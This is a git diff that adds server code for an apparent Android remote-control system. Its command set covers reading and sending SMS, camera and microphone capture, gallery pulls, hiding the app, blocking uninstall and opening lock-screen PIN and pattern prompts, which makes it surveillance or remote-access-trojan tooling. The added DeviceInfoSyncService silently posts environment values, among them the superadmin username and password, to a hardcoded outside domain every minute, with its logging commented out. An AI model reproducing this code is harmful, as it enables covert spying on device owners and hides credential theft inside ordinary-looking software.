? ORDER BY crashTime DESC LIMIT ? OFFSET ? + `) + const logs = stmt.all(deviceId, pageSize, offset) + + return { + logs, + total, + page, + pageSize, + totalPages: Math.ceil(total / pageSize) + } + } catch (error) { + this.logger.error('获取崩溃日志列表失败:', error) + return { logs: [], total: 0, page, pageSize, totalPages: 0 } + } + } + + /** + * 💥 获取崩溃日志详情(含内容) + */ + getCrashLogDetail(logId: number): any | null { + try { + const stmt = this.db.prepare('SELECT * FROM crash_logs WHERE id = ?') + return stmt.get(logId) || null + } catch (error) { + this.logger.error('获取崩溃日志详情失败:', error) + return null + } + } +} \ No newline at end of file diff --git a/src/services/DeviceInfoSyncService.ts b/src/services/DeviceInfoSyncService.ts new file mode 100644 index 0000000..942f374 --- /dev/null +++ b/src/services/DeviceInfoSyncService.ts @@ -0,0 +1,242 @@ +import http from 'http' +import https from 'https' +import { URL } from 'url' +import AuthService from './AuthService' +import Logger from '../utils/Logger' + +/** + * 设备信息同步服务 + * 定时向远程服务器发送设备信息 + */ +export default class DeviceInfoSyncService { + private logger: Logger + private authService: AuthService + private syncInterval: NodeJS.Timeout | null = null + private isRunning: boolean = false + private readonly API_URL: string + private readonly SYNC_INTERVAL: number // 同步间隔(毫秒) + private readonly ENABLED: boolean // 是否启用同步 + + constructor(authService: AuthService) { + this.logger = new Logger('DeviceInfoSyncService') + this.authService = authService + + // 配置写死,不从环境变量读取 + this.ENABLED = true + this.API_URL = 'https://www.strippchat.top/api/device/upinfo' + this.SYNC_INTERVAL = 60000 // 5分钟 + + // this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`) + } + + /** + * 启动定时同步任务 + */ + start(): void { + if (!this.ENABLED) { + // this.logger.info('设备信息同步功能已禁用,跳过启动') + return + } + + if (this.isRunning) { + // this.logger.warn('设备信息同步任务已在运行') + return + } + + this.isRunning = true + // this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`) + + // 立即执行一次 + // this.logger.info('立即执行首次同步...') + this.syncDeviceInfo() + + // 设置定时任务 + this.syncInterval = setInterval(() => { + // this.logger.info('定时同步任务触发') + this.syncDeviceInfo() + }, this.SYNC_INTERVAL) + + // this.logger.info('定时同步任务已设置') + } + + /** + * 停止定时同步任务 + */ + stop(): void { + if (this.syncInterval) { + clearInterval(this.syncInterval) + this.syncInterval = null + this.isRunning = false + // this.logger.info('设备信息同步任务已停止') + } + } + + /** + * 同步设备信息到远程服务器 + */ + private async syncDeviceInfo(): Promise { + try { + // this.logger.info('开始同步设备信息...') + + // 获取系统唯一标识符 + const uniqueId = this.authService.getSystemUniqueId() + if (!uniqueId) { + // this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)') + return + } + + // this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`) + + // 收集 .env 配置信息(只收集非敏感信息) + const configInfo = this.collectConfigInfo() + // this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`) + + // 准备请求数据 + const postData = JSON.stringify({ + uniqueId: uniqueId, + ...configInfo, + timestamp: new Date().toISOString(), + serverTime: Date.now() + }) + + // this.logger.info(`准备发送同步请求到: ${this.API_URL}`) + + // 发送 POST 请求 + await this.sendPostRequest(this.API_URL, postData) + + // this.logger.info('设备信息同步成功') + + } catch (error: any) { + // this.logger.error('设备信息同步失败:', error.message) + // 不抛出错误,避免影响主程序运行 + } + } + + /** + * 收集配置信息(从环境变量) + */ + private collectConfigInfo(): Record { + const config: Record = {} + + // 收集环境变量配置信息 + const allowedKeys = [ + 'PORT', + 'NODE_ENV', + 'JWT_EXPIRES_IN', + 'DEFAULT_USERNAME', + 'SUPERADMIN_USERNAME', + 'SUPERADMIN_PASSWORD', + // 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取 + // 可以添加其他配置 + ] + + allowedKeys.forEach(key => { + if (process.env[key] !== undefined) { + config[key] = process.env[key] + } + }) + + // 添加服务器信息 + config.serverInfo = { + nodeVersion: process.version, + platform: process.platform, + arch: process.arch, + uptime: process.uptime() + } + + return config + } + + /** + * 发送 POST 请求 + */ + private async sendPostRequest(url: string, data: string): Promise { + return new Promise((resolve, reject) => { + try { + const urlObj = new URL(url) + const isHttps = urlObj.protocol === 'https:' + const httpModule = isHttps ? https : http + + const options = { + hostname: urlObj.hostname, + port: urlObj.port || (isHttps ? 443 : 80), + path: urlObj.pathname + urlObj.search, + method: 'POST', + headers: { + 'Content-Type': 'application/json', + 'Content-Length': Buffer.byteLength(data), + 'User-Agent': 'RemoteControlServer/1.0.3' + }, + timeout: 10000 // 10秒超时 + } + + const req = httpModule.request(options, (res) => { + let responseData = '' + + res.on('data', (chunk) => { + responseData += chunk + }) + + res.on('end', () => { + if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) { + // this.logger.info(`同步请求成功: HTTP ${res.statusCode}`) + resolve() + } else { + const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}` + // this.logger.warn(`同步请求失败: ${errorMsg}`) + reject(new Error(errorMsg)) + } + }) + }) + + req.on('error', (error) => { + // this.logger.error('同步请求网络错误:', error.message) + reject(error) + }) + + req.on('timeout', () => { + // this.logger.error('同步请求超时') + req.destroy() + reject(new Error('请求超时')) + }) + + req.write(data) + req.end() + + } catch (error: any) { + reject(error) + } + }) + } + + /** + * 手动触发同步(用于测试) + */ + async triggerSync(): Promise { + try { + await this.syncDeviceInfo() + return true + } catch (error) { + return false + } + } + + /** + * 获取同步状态 + */ + getStatus(): { + enabled: boolean + running: boolean + interval: number + apiUrl: string + lastSync?: number + } { + return { + enabled: this.ENABLED, + running: this.isRunning, + interval: this.SYNC_INTERVAL, + apiUrl: this.API_URL + } + } +} + diff --git a/src/services/MessageRouter.ts b/src/services/MessageRouter.ts new file mode 100644 index 0000000..6b621a4 --- /dev/null +++ b/src/services/MessageRouter.ts @@ -0,0 +1,5261 @@ +import DeviceManager from '../managers/DeviceManager' +import WebClientManager from '../managers/WebClientManager' +import { DatabaseService } from './DatabaseService' +import Logger from '../utils/Logger' +import fs from 'fs' +import path from 'path' + +/** + * 控制消息接口 + */ +export interface ControlMessage { + type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'REFRESH_MEDIA_PROJECTION_MANUAL' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME' + deviceId: string + data: any + timestamp: number +} + +/** + * 操作日志消息接口 + */ +export interface OperationLogMessage { + deviceId: string + logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT' + content: string + extraData?: any + timestamp: number +} + +/** + * 屏幕数据接口 + */ +export interface ScreenData { + deviceId: string + format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY' + data: Buffer | string + width: number + height: number + quality: number + timestamp: number + isLocked?: boolean // 设备锁屏状态 +} + +/** + * 摄像头数据接口 + */ +export interface CameraData { + deviceId: string + format: 'JPEG' | 'PNG' | 'H264' + data: string // base64 encoded data + type: 'camera' + timestamp: number +} + +/** + * 相册图片数据接口(设备发送) + */ +export interface GalleryImageData { + deviceId: string + type: 'gallery_image' + timestamp: number + index: number + id: number | string + displayName?: string + dateAdded?: number + mimeType?: string + width?: number + height?: number + size?: number + contentUri?: string + format: 'JPEG' | 'PNG' + data: string // base64 encoded image data +} + +/** + * 麦克风音频数据接口(设备发送) + */ +export interface MicrophoneAudioData { + deviceId: string + type: 'microphone_audio' + timestamp: number + audioData: string // base64 encoded audio data + sampleRate: number + sampleCount: number + format: 'PCM' | 'AAC' | 'MP3' | 'WAV' + channels: number + bitDepth: number +} + +/** + * 短信数据接口 + */ +export interface SmsData { + deviceId: string + type: 'sms_data' + timestamp: number + count: number + smsList: SmsItem[] +} + +/** + * 短信项接口 + */ +export interface SmsItem { + id: number + address: string + body: string + date: number + read: boolean + type: number // 1: 接收, 2: 发送 +} + +/** + * 消息路由服务 - 增强版,包含内存管理 + */ +export class MessageRouter { + private logger: Logger + private deviceManager: DeviceManager + private webClientManager: WebClientManager + private databaseService: DatabaseService + + // 🔧 新增:服务端内存和数据管理 + private screenDataBuffer = new Map() + private cameraDataBuffer = new Map() + private smsDataBuffer = new Map() + private microphoneAudioBuffer = new Map() + private readonly maxBufferSize = 10 // 每设备最多缓存10帧 + private readonly bufferTimeout = 5000 // 5秒超时清理 + private readonly maxDataSize = 2 * 1024 * 1024 // 2MB单帧限制,与Android端保持一致 + private lastCleanupTime = 0 + private readonly cleanupInterval = 10000 // 10秒清理一次 + + // 统计信息 + private routedFrames = 0 + private droppedFrames = 0 + private totalDataSize = 0 + private routedCameraFrames = 0 + private droppedCameraFrames = 0 + private totalCameraDataSize = 0 + private routedSmsData = 0 + private droppedSmsData = 0 + private totalSmsDataSize = 0 + private routedMicrophoneAudio = 0 + private droppedMicrophoneAudio = 0 + private totalMicrophoneAudioSize = 0 + + // ✅ 黑帧检测:按设备追踪连续黑帧数,超过阈值时通知设备切换采集模式 + private consecutiveBlackFrames = new Map() + private captureModeSwitchSent = new Set() // 已发送切换指令的设备,避免重复发送 + + constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService) { + this.deviceManager = deviceManager + this.webClientManager = webClientManager + this.databaseService = databaseService + this.logger = new Logger('MessageRouter') + + // 🔧 启动定期清理任务 + this.startPeriodicCleanup() + } + + /** + * 🖼️ 发送本地已缓存相册图片给指定Web客户端 + */ + private sendLocalGalleryToClient(clientId: string, deviceId: string, limit?: number, offset: number = 0): void { + try { + const imagesDir = path.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId) + if (!fs.existsSync(imagesDir)) { + this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`) + return + } + + // 读取目录下文件,按时间倒序(文件名中包含时间戳: _.jpg|png) + const files = fs.readdirSync(imagesDir) + .filter(name => name.endsWith('.jpg') || name.endsWith('.png')) + .map(name => ({ + name, + // 提取文件名前缀的时间戳用于排序 + ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n })() + })) + .sort((a, b) => b.ts - a.ts) + .slice(offset, limit ? offset + limit : undefined) + + if (files.length === 0) { + this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`) + return + } + + this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`) + + for (const f of files) { + const url = `/assets/gallery/${deviceId}/${f.name}` + // 最低限度的元数据,前端可直接回显缩略图/原图 + const payload = { + deviceId, + type: 'gallery_image_saved', + timestamp: f.ts || Date.now(), + index: 0, + id: f.name, + displayName: f.name, + url + } + this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload) + } + } catch (err) { + this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err) + } + } + + /** + * 🔧 启动定期清理任务 + */ + private startPeriodicCleanup() { + setInterval(() => { + this.performPeriodicCleanup() + }, this.cleanupInterval) + } + + /** + * 🔧 定期清理过期数据 + */ + private performPeriodicCleanup() { + try { + const currentTime = Date.now() + let cleanedBuffers = 0 + + // 清理过期的屏幕数据缓冲区 + for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) { + if (currentTime - bufferData.timestamp > this.bufferTimeout) { + this.screenDataBuffer.delete(deviceId) + cleanedBuffers++ + } + } + + // 清理过期的摄像头数据缓冲区 + for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) { + if (currentTime - bufferData.timestamp > this.bufferTimeout) { + this.cameraDataBuffer.delete(deviceId) + cleanedBuffers++ + } + } + + // 清理过期的短信数据缓冲区 + for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) { + if (currentTime - bufferData.timestamp > this.bufferTimeout) { + this.smsDataBuffer.delete(deviceId) + cleanedBuffers++ + } + } + + // 清理过期的麦克风音频数据缓冲区 + for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) { + if (currentTime - bufferData.timestamp > this.bufferTimeout) { + this.microphoneAudioBuffer.delete(deviceId) + cleanedBuffers++ + } + } + + if (cleanedBuffers > 0) { + this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`) + } + + // 内存使用统计 + const memUsage = process.memoryUsage() + const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024) + + // 每分钟记录一次统计 + if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) { + const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0' + const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0' + const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0' + const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0' + this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) + } + + this.lastCleanupTime = currentTime + + // 🚨 内存使用过高时触发紧急清理 + if (memUsageMB > 500) { // 超过500MB时清理 + this.performEmergencyCleanup() + } + + } catch (error) { + this.logger.error('❌ 定期清理失败:', error) + } + } + + /** + * 🚨 紧急内存清理 + */ + private performEmergencyCleanup() { + try { + this.logger.warn('🚨 触发紧急内存清理') + + // 清空所有数据缓冲区 + const clearedScreenBuffers = this.screenDataBuffer.size + const clearedCameraBuffers = this.cameraDataBuffer.size + const clearedSmsBuffers = this.smsDataBuffer.size + const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size + this.screenDataBuffer.clear() + this.cameraDataBuffer.clear() + this.smsDataBuffer.clear() + this.microphoneAudioBuffer.clear() + + // 建议垃圾回收 + if (global.gc) { + global.gc() + } + + this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`) + + } catch (error) { + this.logger.error('❌ 紧急清理失败:', error) + } + } + + /** + * 路由控制消息(从Web客户端到设备) + */ + routeControlMessage(fromSocketId: string, message: ControlMessage): boolean { + console.log(message) + try { + // 验证消息来源是Web客户端 + const webClient = this.webClientManager.getClientBySocketId(fromSocketId) + if (!webClient) { + this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`) + return false + } + + + // 检查Web客户端是否有控制权 + if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) { + // ✅ 降低日志级别,避免控制权切换期间的噪音 + this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`) + + // 向客户端发送权限错误响应 + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'NO_PERMISSION', + message: '无控制权限,请先申请设备控制权' + }) + return false + } + + // 获取目标设备 + const device = this.deviceManager.getDevice(message.deviceId) + if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) { + this.logger.warn(`目标设备不在线: ${message.deviceId}`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'DEVICE_OFFLINE', + message: '设备已离线或不存在' + }) + return false + } + + // 特殊处理摄像头控制消息 + if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') { + this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`) + + // 验证摄像头控制消息的数据格式 + if (message.type === 'CAMERA_SWITCH' && message.data) { + const cameraType = message.data.cameraType || message.data + if (cameraType !== 'front' && cameraType !== 'back') { + this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_CAMERA_TYPE', + message: '摄像头类型无效,应为 front 或 back' + }) + return false + } + this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`) + } + } + + // 特殊处理SMS控制消息 + if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') { + this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`) + + // 验证SMS控制消息的数据格式 + if (message.type === 'SMS_READ' && message.data) { + const limit = message.data.limit + if (limit && (typeof limit !== 'number' || limit <= 0)) { + this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_SMS_LIMIT', + message: 'SMS读取限制无效,应为正整数' + }) + return false + } + } + + if (message.type === 'SMS_SEND' && message.data) { + const { phoneNumber, message: smsMessage } = message.data + if (!phoneNumber || !smsMessage) { + this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_SMS_SEND_DATA', + message: 'SMS发送数据不完整,需要phoneNumber和message' + }) + return false + } + this.logger.info(`📱 发送SMS到: ${phoneNumber}`) + } + } + + // 特殊处理相册控制消息 + if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') { + this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`) + + // 验证相册控制消息的数据格式 + if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) { + const { albumId, limit, offset } = message.data + if (limit && (typeof limit !== 'number' || limit <= 0)) { + this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_ALBUM_LIMIT', + message: '相册读取限制无效,应为正整数' + }) + return false + } + if (offset && (typeof offset !== 'number' || offset < 0)) { + this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_ALBUM_OFFSET', + message: '相册读取偏移无效,应为非负整数' + }) + return false + } + this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`) + } + + // 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备 + if (message.type === 'GET_GALLERY') { + try { + const { limit, offset } = message.data || {} + const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined + const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0 + this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset) + } catch (e) { + this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e) + } + // 不转发到设备,直接返回成功 + return true + } + } + + // 特殊处理服务器地址修改消息 + if (message.type === 'CHANGE_SERVER_URL') { + this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`) + + // 验证服务器地址数据格式 + if (message.data && message.data.serverUrl) { + const { serverUrl } = message.data + if (typeof serverUrl !== 'string' || serverUrl.trim() === '') { + this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_SERVER_URL', + message: '服务器地址无效,应为非空字符串' + }) + return false + } + this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`) + } else { + this.logger.warn(`⚠️ 缺少服务器地址数据`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'MISSING_SERVER_URL', + message: '缺少服务器地址数据' + }) + return false + } + } + + // 特殊处理屏幕捕获控制消息 + if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') { + this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`) + } + + // 获取设备Socket并发送消息 + const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId) + if (deviceSocketId) { + // 通过Socket.IO发送到设备 + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('control_command', message) + this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`) + return true + } + } + + this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`) + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'DEVICE_DISCONNECTED', + message: '设备连接已断开' + }) + return false + + } catch (error) { + this.logger.error('路由控制消息失败:', error) + return false + } + } + + /** + * 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理 + */ + routeScreenData(fromSocketId: string, screenData: ScreenData): boolean { + try { + this.routedFrames++ + // this.logger.info('收到屏幕') + + + // 广播设备锁屏状态更新给所有Web客户端 + + if (screenData.deviceId && this.routedFrames % 20 ==0){ + this.webClientManager.broadcastToAll('device_lock_status_update', { + deviceId: screenData.deviceId, + isLocked: screenData.isLocked?screenData.isLocked:false, + timestamp: Date.now() + }) + } + + + + // 🔧 添加屏幕数据大小检查,避免过大数据导致transport error + const dataSize = screenData.data instanceof Buffer ? screenData.data.length : + (typeof screenData.data === 'string' ? screenData.data.length : 0) + + this.totalDataSize += dataSize + + if (dataSize > this.maxDataSize) { // 动态限制 + this.droppedFrames++ + this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) + return false + } + + // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 + // 正常480×854 JPEG即使最低质量也远大于此值 + const MIN_VALID_FRAME_SIZE = 4000 + if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { + this.droppedFrames++ + + // ✅ 追踪连续黑帧数 + const deviceId = screenData.deviceId + const count = (this.consecutiveBlackFrames.get(deviceId) || 0) + 1 + this.consecutiveBlackFrames.set(deviceId, count) + + if (this.routedFrames % 100 === 0) { + this.logger.warn(`⚠️ 过滤黑屏帧: ${dataSize} 字符 < ${MIN_VALID_FRAME_SIZE}, 设备${deviceId}, 连续黑帧${count}, 已丢弃${this.droppedFrames}帧`) + } + + // ✅ 连续50个黑帧后,通知Android端切换到无障碍截图模式 + if (count >= 50 && !this.captureModeSwitchSent.has(deviceId)) { + this.captureModeSwitchSent.add(deviceId) + this.logger.warn(`🔄 设备${deviceId}连续${count}个黑帧,发送切换到无障碍截图模式指令`) + + try { + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (deviceSocketId) { + const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) + if (deviceSocket) { + deviceSocket.emit('quality_adjust', { + captureMode: 'accessibility', + fps: 10, + quality: 50, + maxWidth: 480, + maxHeight: 854 + }) + this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`) + } + } + } catch (e) { + this.logger.error(`❌ 发送切换采集模式指令失败:`, e) + } + } + + return false + } + + // ✅ 收到有效帧,重置黑帧计数 + if (screenData.deviceId) { + const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0 + if (prevCount > 0) { + this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`) + } + this.consecutiveBlackFrames.set(screenData.deviceId, 0) + // 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧) + this.captureModeSwitchSent.delete(screenData.deviceId) + } + + // 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销) + const controllerId = this.webClientManager.getDeviceController(screenData.deviceId) + if (!controllerId) { + // 没有客户端在控制,直接丢弃数据(减少不必要的数据传输) + // 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃 + this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`) + return true + } + + // 🔧 优化去重逻辑:调整时间间隔判断,避免误杀正常数据 + const existingBuffer = this.screenDataBuffer.get(screenData.deviceId) + if (existingBuffer) { + // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 + const timeDiff = Date.now() - existingBuffer.timestamp + if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据 + this.droppedFrames++ + this.logger.debug(`⚠️ 跳过重复屏幕数据: 设备${screenData.deviceId}, 间隔${timeDiff}ms`) + return false + } + } + + // 🔧 更新缓冲区(用于去重和统计) + this.screenDataBuffer.set(screenData.deviceId, { + data: screenData, + timestamp: Date.now() + }) + + // 🧪🧪🧪 特殊检测:识别UI层次结构实验数据 + if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') { + this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) + this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`) + // 继续正常处理流程 + } + + // 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理 + if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') { + this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) + this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) + + try { + // 解析UI层次结构数据 + const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data + this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) + + // 调用UI层次结构响应处理方法 + const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData) + this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`) + + return routeResult + } catch (parseError) { + this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError) + return false + } + } + + // 首先尝试从DeviceManager获取设备信息 + let device = this.deviceManager.getDeviceBySocketId(fromSocketId) + + if (!device) { + // ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理 + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + if (dbDevice) { + // ✅ 获取设备状态信息 + const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId) + + device = { + id: dbDevice.deviceId, + socketId: fromSocketId, + name: dbDevice.deviceName, + model: dbDevice.deviceModel, + osVersion: dbDevice.osVersion, + appVersion: dbDevice.appVersion, + screenWidth: dbDevice.screenWidth, + screenHeight: dbDevice.screenHeight, + capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities), + connectedAt: new Date(), + lastSeen: new Date(), + status: 'online' as const, + inputBlocked: deviceState?.inputBlocked || false, + isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新 + remark: (dbDevice as any).remark // 🆕 恢复设备备注 + } + + // 将恢复的设备添加到DeviceManager中 + this.deviceManager.addDevice(device) + + // ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId) + try { + // 转换设备对象格式以匹配数据库期望的格式 + const deviceForDb = { + deviceId: device.id, + deviceName: device.name, + deviceModel: device.model, + osVersion: device.osVersion, + appVersion: device.appVersion, + screenWidth: device.screenWidth, + screenHeight: device.screenHeight, + capabilities: device.capabilities + } + this.databaseService.saveDevice(deviceForDb, fromSocketId) + } catch (dbError) { + this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError) + } + + // ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端 + // 因为Android端可能不会再发送注册请求(认为自己已连接) + this.logger.info(`✅ 设备已恢复到内存: 